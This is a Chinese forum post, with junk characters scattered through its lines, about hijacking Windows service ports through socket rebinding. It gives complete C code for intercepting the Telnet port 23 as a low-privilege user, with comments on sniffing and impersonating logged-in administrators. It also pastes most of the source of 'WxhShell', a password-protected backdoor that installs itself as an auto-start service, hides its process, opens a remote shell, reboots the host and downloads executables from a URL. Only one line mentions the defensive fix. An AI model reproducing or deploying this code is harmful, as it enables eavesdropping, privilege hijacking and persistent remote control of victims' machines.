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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _pM~v>~*+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sb^%eUU])  
1_Ag:> #X  
  saddr.sin_family = AF_INET; Z6Kw'3  
E/[<} ./  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y;1 'hP&  
s'Op|`&X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]`S35b  
7 g2@RKo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tOQura  
|}YeQl  
  这意味着什么?意味着可以进行如下的攻击: 2wKW17wj,  
b7nER]R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &F xw19[G  
'c")]{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _ h7qS  
H7=[sL^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6gSo>F4=  
gr%!<2w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0 jszZ_  
O5;$cP:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 luYa+E0  
LBs:O*;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 afJ`1l  
rEl bzL"&<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @m bR I0  
2:>|zmh_  
  #include  ,m^@S  
  #include }RT#V8oc  
  #include '=^$ ;3Z  
  #include    FSp57W$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eC71;"  
  int main() m:{ws~   
  { hj8S#  
  WORD wVersionRequested; 9iWs'M  
  DWORD ret;  b}eBy  
  WSADATA wsaData; ?mjQN|D  
  BOOL val; ^/k`URQ  
  SOCKADDR_IN saddr; :vqfWK6mv  
  SOCKADDR_IN scaddr; q_sQC5:s  
  int err; pO~lVM  
  SOCKET s; `QIYnokL  
  SOCKET sc; w&F/P]1  
  int caddsize; |D ?}6z  
  HANDLE mt; lN<,<'&^.  
  DWORD tid;   VXpbmg!{S  
  wVersionRequested = MAKEWORD( 2, 2 ); P%-@AmO^_  
  err = WSAStartup( wVersionRequested, &wsaData ); u\,("2ZW9+  
  if ( err != 0 ) { 2d`:lk%\  
  printf("error!WSAStartup failed!\n"); N=`xoF  
  return -1; AZi|85rN  
  } >We:g Kxr  
  saddr.sin_family = AF_INET; b<N962 q$q  
   H+VKWGmfG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 < mb.F-8  
s?j` _ B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C6-71 `C0  
  saddr.sin_port = htons(23); z 5T_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x-Cy,d:YX  
  { l_Ffbs_6t  
  printf("error!socket failed!\n"); qBkI9H  
  return -1; t mCm54  
  } ~|7jz;$V  
  val = TRUE; 99<0xN(25  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KG5h$eM'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =h#3D?b0n  
  { bkZ~O=uv$-  
  printf("error!setsockopt failed!\n"); )kq3q5*_  
  return -1; )7H s  
  } ;g0p`wV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DKcg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \8I>^4t'/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?2#v`Z=L;  
K1F,M9 0]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &?-LL{W{  
  { 7xmyjy%c  
  ret=GetLastError(); :n4X>YL)  
  printf("error!bind failed!\n"); :4ndU:.L  
  return -1;  3e<FlH{  
  } FzDZ<dJ  
  listen(s,2); |#r [{2sS  
  while(1) 8, >YB+Hb  
  { z&"-%l.b@}  
  caddsize = sizeof(scaddr); u)DhkF|  
  //接受连接请求 #\Q{?F!4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %/86}DCfE?  
  if(sc!=INVALID_SOCKET) j70]2NgX  
  { ZW]Q|vPh4U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7,\Uk|  
  if(mt==NULL) m}x&]">9  
  { | CC(`<\R  
  printf("Thread Creat Failed!\n"); }P5zf$  
  break; _>G=v!  
  } w_gPX0N}3n  
  } !_EaF`oh(  
  CloseHandle(mt); Mbt}G|;8H7  
  } 3E!#?N|v  
  closesocket(s); XYKWOrkQqa  
  WSACleanup(); X>n\@rTo  
  return 0; B"-gK20vY  
  }   :uAW  
  DWORD WINAPI ClientThread(LPVOID lpParam) GS%i<HQ3  
  { ,@_$acm  
  SOCKET ss = (SOCKET)lpParam; L=. 4x=%%  
  SOCKET sc; ?a h<Qf]  
  unsigned char buf[4096]; =ZsM[wd  
  SOCKADDR_IN saddr; MZ(TST"  
  long num; q+MV@8w  
  DWORD val;  M>mk=-l  
  DWORD ret; 'wo[iNy[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b9ON[qOMN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {\OIowa  
  saddr.sin_family = AF_INET; @$5GxIw<l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e$k ]z HlQ  
  saddr.sin_port = htons(23); >bf29tr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0L34)W  
  { -XVC,.Ly  
  printf("error!socket failed!\n"); hSgfp  
  return -1; ZWC-<QO"<  
  } 6,"fH{Bd  
  val = 100; ^lqcF.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AxaabS$\  
  { Pez 7HKW:  
  ret = GetLastError(); Xwg|fr+p  
  return -1; TJ:B_F*bSk  
  } >H@ zP8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w1J&c'-  
  { wff&ci28  
  ret = GetLastError(); $B6"fYiDk  
  return -1; k,L,  
  } uC3o@qGW<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  [69[Ct  
  { oKIry 8'^N  
  printf("error!socket connect failed!\n"); _}X_^taTZS  
  closesocket(sc); n7 RswX  
  closesocket(ss); `?P k~7  
  return -1; Y$%/H"1bk  
  } *E<%db C2  
  while(1) Ni$WI{e9  
  { YfC1.8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xw*T? !r=V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _P!J0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `.z;.&x  
  num = recv(ss,buf,4096,0); rp sq.n   
  if(num>0) }]pq&v!  
  send(sc,buf,num,0); S~\i"A)4  
  else if(num==0) ."R,j|o6  
  break; $73j*@EQA  
  num = recv(sc,buf,4096,0); v535LwFW  
  if(num>0) 7qB}Hvh  
  send(ss,buf,num,0); sXzxEhp  
  else if(num==0) h1.]Nl C  
  break; |x|#n  
  } 0`=#1u8  
  closesocket(ss); '`q&UPg]  
  closesocket(sc); L\||#w   
  return 0 ; DLYk#d: q?  
  } 0]l _qxv  
kji*7a?y  
)bZS0f-  
========================================================== Y`S9mGR#  
+/60$60[z  
下边附上一个代码,,WXhSHELL j2T Z`Z?a^  
mie<jha  
========================================================== RVv@x5  
TIg 3'au  
#include "stdafx.h" od{b]HvgS  
y]5O45E0  
#include <stdio.h> ;BV1E|j  
#include <string.h> 4P@Ak7iL(V  
#include <windows.h> a3i4eGT-  
#include <winsock2.h> 2R&msdF   
#include <winsvc.h> } h|1H  
#include <urlmon.h> \*x]xc/^  
eK\1cs  
#pragma comment (lib, "Ws2_32.lib") /dpEL9K  
#pragma comment (lib, "urlmon.lib") YEoQIR  
xzg81sV7  
#define MAX_USER   100 // 最大客户端连接数 'c 0]8Y 4  
#define BUF_SOCK   200 // sock buffer 1 dT1DcZ  
#define KEY_BUFF   255 // 输入 buffer fYF\5/_  
z'K&LH  
#define REBOOT     0   // 重启 MXY[t  
#define SHUTDOWN   1   // 关机 d\}r.pD  
0  ;$[  
#define DEF_PORT   5000 // 监听端口 <6`_Xr7)  
?yfk d:WD  
#define REG_LEN     16   // 注册表键长度 &g R+D  
#define SVC_LEN     80   // NT服务名长度 DVxW2J  
(tV/.x*G  
// 从dll定义API g$s"x r`:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5" <7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u1F@VV{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jg=[!j0(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q"OvuHBSOn  
z=>U>  
// wxhshell配置信息 <A +VS  
struct WSCFG { R]e?<,"X  
  int ws_port;         // 监听端口 c%_I|h<?iT  
  char ws_passstr[REG_LEN]; // 口令 UD`bK a`E  
  int ws_autoins;       // 安装标记, 1=yes 0=no RiC1lCE  
  char ws_regname[REG_LEN]; // 注册表键名 LutP&Ebt8  
  char ws_svcname[REG_LEN]; // 服务名 4S>A}rWz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _p/ _t76s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V|3}~(5=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !6hUTjhW7z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _,:gSDW|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VSa\X~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?sV0T)uk  
)IQa]A  
}; )%lPa|7s  
[V_Z9-f*  
// default Wxhshell configuration bhaIi>W~G  
struct WSCFG wscfg={DEF_PORT, K^j7T[pR  
    "xuhuanlingzhe", \EF^Ag  
    1, 4$ LVl  
    "Wxhshell", ?4Z`^uy  
    "Wxhshell", ?zW4|0  
            "WxhShell Service", Vo^ i7  
    "Wrsky Windows CmdShell Service", 1e.V%!Xk  
    "Please Input Your Password: ", m,KG}KX  
  1, /1ZRjf^  
  "http://www.wrsky.com/wxhshell.exe", L=4%MyZ.e  
  "Wxhshell.exe" Zq7Y('=`t@  
    }; };"-6e/9  
-J8&!S8X  
// 消息定义模块 !t/I j~o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f QSP]?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o.IJ4'}aN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e E:J  
char *msg_ws_ext="\n\rExit."; WPT0=Hqp7  
char *msg_ws_end="\n\rQuit."; 'E FP/(2J  
char *msg_ws_boot="\n\rReboot..."; >5Y%4++(  
char *msg_ws_poff="\n\rShutdown...";  ,83%18b  
char *msg_ws_down="\n\rSave to "; KECo7i=e  
z+IBy+  
char *msg_ws_err="\n\rErr!"; {%W'Zx  
char *msg_ws_ok="\n\rOK!"; y/57 >.3  
I;xrw?=\L  
char ExeFile[MAX_PATH]; c \cPmj@  
int nUser = 0; o NX-vN-  
HANDLE handles[MAX_USER]; 2fIHFo\8  
int OsIsNt; /<7'[x<  
?7>G\0G  
SERVICE_STATUS       serviceStatus; KITC,@xE_O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )Y.H*ca  
,.;q[s8  
// 函数声明 zvjp]yTx"  
int Install(void); *Ii_dpJ  
int Uninstall(void); wWjZXsOd  
int DownloadFile(char *sURL, SOCKET wsh); #[$^M:X.  
int Boot(int flag); 5Fa.X|R~  
void HideProc(void); *9J >3   
int GetOsVer(void); o9I=zAGjy  
int Wxhshell(SOCKET wsl); XS+2OutVo  
void TalkWithClient(void *cs); Aw#@}TGT  
int CmdShell(SOCKET sock); c'#w 8 V  
int StartFromService(void); }ZaZPB/_}P  
int StartWxhshell(LPSTR lpCmdLine); /dGpac  
QP HibPP:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1.29%O8V_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L-. +yNX)  
r6_g/7.-  
// 数据结构和表定义 />^sGB  
SERVICE_TABLE_ENTRY DispatchTable[] = GHeucG} ?  
{ <k59Ni9  
{wscfg.ws_svcname, NTServiceMain}, )Iu0MN&  
{NULL, NULL} /G*]3=cSe  
}; >1luLp/,$  
;ED` 7  
// 自我安装 +9EG6"..@H  
int Install(void) t!^ j0q  
{ "u29| OY  
  char svExeFile[MAX_PATH]; pjG/`  
  HKEY key; <5).(MTa  
  strcpy(svExeFile,ExeFile); O^/z7,  
%DOV)Qc2  
// 如果是win9x系统,修改注册表设为自启动 3vdhoS|  
if(!OsIsNt) { u*n%cXY;J/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;5S'?fj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q8d-yJs&  
  RegCloseKey(key); '0ks`a4q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hbfN1 "z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tfsx&k\  
  RegCloseKey(key); Lt'FA  
  return 0; LT+QW  
    } R3 Zg,YM  
  } 3Lg)237&j  
} 4^*+G]]wZ~  
else { B Oc2<M/\  
e'nhP  
// 如果是NT以上系统,安装为系统服务 dV/ ^@[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C[X2]zr  
if (schSCManager!=0) \tCxz(vKz  
{ /[V}   
  SC_HANDLE schService = CreateService nC6 ;:uM  
  ( $c^,TAN  
  schSCManager, `2 6t+Tb  
  wscfg.ws_svcname, #/"?.Z;SSH  
  wscfg.ws_svcdisp, 7 &O 0  
  SERVICE_ALL_ACCESS, YB`1S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]7|Zs]6  
  SERVICE_AUTO_START, cmcR @zv  
  SERVICE_ERROR_NORMAL, X0FTD':f  
  svExeFile, G!<-9HA5  
  NULL, Sm5 T/&z  
  NULL, BQo$c~  
  NULL, .#Vup{.  
  NULL, I9VU,8~  
  NULL b=$(`y  
  ); PS:"mP7n  
  if (schService!=0) ",, W1]"%  
  { Q0j4 c  
  CloseServiceHandle(schService); Crg@05Z  
  CloseServiceHandle(schSCManager); vRI0fDu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1#Q~aY  
  strcat(svExeFile,wscfg.ws_svcname); 4QZ|e{t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pB;8yz=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y[~Dj@Q<  
  RegCloseKey(key); hBRcI0R  
  return 0; fk5$z0/  
    } "h\ (a<  
  } r,8~qHbOT  
  CloseServiceHandle(schSCManager); Bx" eX>A8  
} (qyT,K8  
} H$M{thW  
DnP "7}v  
return 1; 1`q>*S](  
} +3d.JQoKl  
SoJ=[5W  
// 自我卸载 (8Inf_59  
int Uninstall(void) &@U)  
{ k1_" }B5  
  HKEY key; N+nv#]{  
eeM$c`Y<  
if(!OsIsNt) { YiGSFg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c,L{Qv"n{  
  RegDeleteValue(key,wscfg.ws_regname); A7enC,Ey  
  RegCloseKey(key); ^| r6>b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _C4N6YdU  
  RegDeleteValue(key,wscfg.ws_regname); {lO>i&mx  
  RegCloseKey(key); ZNUSHxA  
  return 0; 9%iv?/o*L  
  } aGs\zCAP  
} (dnaT-M3  
} >c30kpGg  
else { ;!:@3c  
'7yVvd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x%J.$o[<_  
if (schSCManager!=0) [}Z!hq  
{ ~ !7!Y~(+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bNh~=[E  
  if (schService!=0) 4?',E ddo  
  { V2oXg  
  if(DeleteService(schService)!=0) { ~{00moN"m  
  CloseServiceHandle(schService); d`sIgll&n  
  CloseServiceHandle(schSCManager); kE[Hq-J=N  
  return 0; \N a  
  } S2PPwCU  
  CloseServiceHandle(schService); kP[LS1}*  
  } _xu_W;nh  
  CloseServiceHandle(schSCManager); FCIA8^}s  
} +Ua.\1"6  
} dw YGhhm  
6}JW- sA  
return 1; f7v|N)  
} / 0ra]}[(  
I4Rd2G_  
// 从指定url下载文件 Wagb|B\  
int DownloadFile(char *sURL, SOCKET wsh) /I~(*X  
{ $,8}3R5}  
  HRESULT hr; J/>9w  
char seps[]= "/"; ,cFBLj(@  
char *token;  YF$nL(  
char *file; h { M=V  
char myURL[MAX_PATH]; W8N__  
char myFILE[MAX_PATH]; :Oh*Q(>  
(X/dP ~  
strcpy(myURL,sURL); 2*pNIc  
  token=strtok(myURL,seps); *}RV)0mif  
  while(token!=NULL) COFCa&m9c  
  { r 3FUddF'  
    file=token; B#, TdP]/  
  token=strtok(NULL,seps); Z"N}f ,  
  } jn._4TQ*}  
(Y~gItej  
GetCurrentDirectory(MAX_PATH,myFILE); FB }8  
strcat(myFILE, "\\"); 8Y P7'Fz  
strcat(myFILE, file); c +N\uG4  
  send(wsh,myFILE,strlen(myFILE),0); fD~f_Wr  
send(wsh,"...",3,0); 8c<OX!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +z O.|`+  
  if(hr==S_OK) \xjI=P'-25  
return 0; _r?.%] \.  
else m~RMe9Qi  
return 1; / TAza9a  
Rc#c^F<  
} ?XnKKw\  
UI_u:a9Q/  
// 系统电源模块 `2a7y]?  
int Boot(int flag) f"aqg/l  
{ Jl@YBzDfF  
  HANDLE hToken; V]6CHE:BS  
  TOKEN_PRIVILEGES tkp; HImQ.y!B  
fDrjR6xV  
  if(OsIsNt) { 4|/=]w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qK,PuD7i"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !CUX13/0  
    tkp.PrivilegeCount = 1; 6fV;V:1{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ij&T \):d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2yPF'Q7u_.  
if(flag==REBOOT) { @2/ xu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6\NBU,lY  
  return 0; nEfQLkb[|  
} j% Wip j;c  
else { d 6zfP1lQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G%XjDxo$I  
  return 0; !BEl6h  
} ;6tGRh$b  
  } OYj~"-3y)  
  else { _.+2sm   
if(flag==REBOOT) { T3In0LQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H&=fD` Xq  
  return 0; g&fq)d  
} <4RP:2#  
else { @  Br?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c+.?+g  
  return 0; Dz<vIMLF{  
} Q)93 +1]  
} [z r2\(  
N(Xg#m   
return 1; kA{eT  
} E=RX^ 3+}  
KCi0v  
// win9x进程隐藏模块 j7 \y1$w  
void HideProc(void) nrJW.F]S8[  
{ EzGO/uZ]  
f;]C8/W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j)Y68fKK  
  if ( hKernel != NULL ) :0vKt 6>Sp  
  { 8~:s$~&r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0jMS!"k   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zTW)SX_O  
    FreeLibrary(hKernel); Qkx}A7sK  
  } f_;6uCCO  
&m{vLw  
return; ?xYoCn}Z  
} 8w9?n3z=}  
p(pL"  
// 获取操作系统版本 3\H0Nkubts  
int GetOsVer(void) OHK]=DH:M  
{ Ry"N_Fb  
  OSVERSIONINFO winfo; 905Lk>rB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7Lx =VX#]q  
  GetVersionEx(&winfo); Ag_I'   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :za:gs0  
  return 1; W ,|JocDq  
  else e)2w&2i`(F  
  return 0; -b'a-?  
} B;^YHWJ6i  
d/l>~%bR  
// 客户端句柄模块 /YD2F  
int Wxhshell(SOCKET wsl) #GIjU1-  
{ )|IMhB+4  
  SOCKET wsh; Tu7sA.73k  
  struct sockaddr_in client; *7^w}v+.  
  DWORD myID; U{Moyj  
4j}uVGi{e  
  while(nUser<MAX_USER) ?vV&tqnx%  
{ ^8{:RiN6e~  
  int nSize=sizeof(client); i~uoK7o|G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]=jpqxlx  
  if(wsh==INVALID_SOCKET) return 1; OG{vap)  
D0 ,t,,L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2F|06E'  
if(handles[nUser]==0) q#*b4q {  
  closesocket(wsh); !z |a+{  
else k?qd -_sC  
  nUser++; MznMt2-u  
  } ghDOz 3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s#%P9A  
N2\{h(*u  
  return 0; }o2e&.$4d  
} +~!\;71:f  
oh.8WlI  
// 关闭 socket #6F/:j;  
void CloseIt(SOCKET wsh) Qcs >BOV~  
{ ILMXWw  
closesocket(wsh); 7N}==T89[  
nUser--; faPgp  
ExitThread(0); IT0 [;eqR  
} \4"01:u'  
Gu5%Pou  
// 客户端请求句柄 +w9X$<?_  
void TalkWithClient(void *cs) %tT=q^%5  
{ mFW/xZwR,5  
?b3({P  
  SOCKET wsh=(SOCKET)cs; QRAw#  
  char pwd[SVC_LEN]; >SaT?k1E  
  char cmd[KEY_BUFF]; %G/j+Pf  
char chr[1]; Vc?=cQ'c  
int i,j; &b!|Y  
B| .8+Q  
  while (nUser < MAX_USER) { =`KV),\  
G_)(?  
if(wscfg.ws_passstr) { $\vTiS'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^eY% T5K   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;/)u/[KAv  
  //ZeroMemory(pwd,KEY_BUFF);  Mt   
      i=0; )sG/H8  
  while(i<SVC_LEN) { @;g|styh^  
3FhkK/@  
  // 设置超时 0mYKzJi  
  fd_set FdRead; jR@J1IR<  
  struct timeval TimeOut; H3Sfz'  
  FD_ZERO(&FdRead); P#N@W_""YD  
  FD_SET(wsh,&FdRead); P=PVOt@ b  
  TimeOut.tv_sec=8; VY_<c98v  
  TimeOut.tv_usec=0; 2/.I6IbL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); drW}w+ !  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $x|4cW2  
CvB)+>oa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X@up=%(  
  pwd=chr[0]; dXewS_7  
  if(chr[0]==0xd || chr[0]==0xa) { .|x" '3#  
  pwd=0; xe9V'wICp(  
  break; #Oq~ZV|<l  
  } hH*/[|z  
  i++; *8#]3M]  
    } Z9k"&F ~u}  
{[$JiljD  
  // 如果是非法用户,关闭 socket 4I7;/ZgALQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /I@Dv?  
} }S}9Pm,:  
GK8x<Aq%z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >do3*ko A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZD t|g^  
o}VW%G"  
while(1) { Ct\n1T }  
O\ph!?L  
  ZeroMemory(cmd,KEY_BUFF); Hsvu&>[`S  
XR.Sm<A[  
      // 自动支持客户端 telnet标准   02 6|u|R  
  j=0; ,BuEX#ZaBl  
  while(j<KEY_BUFF) { Az4a|.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NkL>ru!b9  
  cmd[j]=chr[0]; 8*m=U@5]  
  if(chr[0]==0xa || chr[0]==0xd) { x9B5@2J1  
  cmd[j]=0; J4>k9~q  
  break; ]] Jg%}o  
  } &HIG776  
  j++; GK\`8xWE  
    } J6W"t  
+VdC g_  
  // 下载文件 ^7$V>|  
  if(strstr(cmd,"http://")) { EhK5<v}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XX;MoE~MM  
  if(DownloadFile(cmd,wsh)) XTPf~Te,=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2nA/{W\hC  
  else kNDN<L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -eSZpzp  
  } j%@wQVxq  
  else { tG}cmK~%  
aH+n]J] =)  
    switch(cmd[0]) { 'D<84|w:1  
  X4dXO5\  
  // 帮助 H6/C7  
  case '?': { b0ablVk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sV5S>*A[  
    break; ITf, )?|]Y  
  } %.`<ud  
  // 安装 7PG|e#  
  case 'i': { 'H.,S_v1x  
    if(Install()) +4--Dl?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MTUJsH\  
    else /By`FW Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dp'xd>m  
    break; b am*&E%0K  
    } Z9vJF.clO  
  // 卸载 [S#QGB19  
  case 'r': { >UDb:N[  
    if(Uninstall()) Wi3St`$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +(qs{07A$  
    else +PGtO9}B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3I%F,-r  
    break; *^_ywqp  
    } DgiMMmpE  
  // 显示 wxhshell 所在路径 qp)a`'Pq  
  case 'p': { cJ#|mzup  
    char svExeFile[MAX_PATH]; hm+,o_+  
    strcpy(svExeFile,"\n\r"); R}VEq gq  
      strcat(svExeFile,ExeFile); F3 z:|sTqc  
        send(wsh,svExeFile,strlen(svExeFile),0); "- XJZ;5  
    break; NwB;9ZhZ  
    } ,oS<9kC68  
  // 重启 2\, h "W(  
  case 'b': { lhRo+X#G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w=MiJr#3^  
    if(Boot(REBOOT)) Q@HW`@i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U{%N.4:   
    else { wdzZ41y1  
    closesocket(wsh); Y]-7T-*+t  
    ExitThread(0); +rcDA|  
    } UxS@]YC  
    break; 5^+QTQ  
    } (iO8[  
  // 关机 ->29Tns  
  case 'd': { `SH#t3 5,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oM4Q_An  
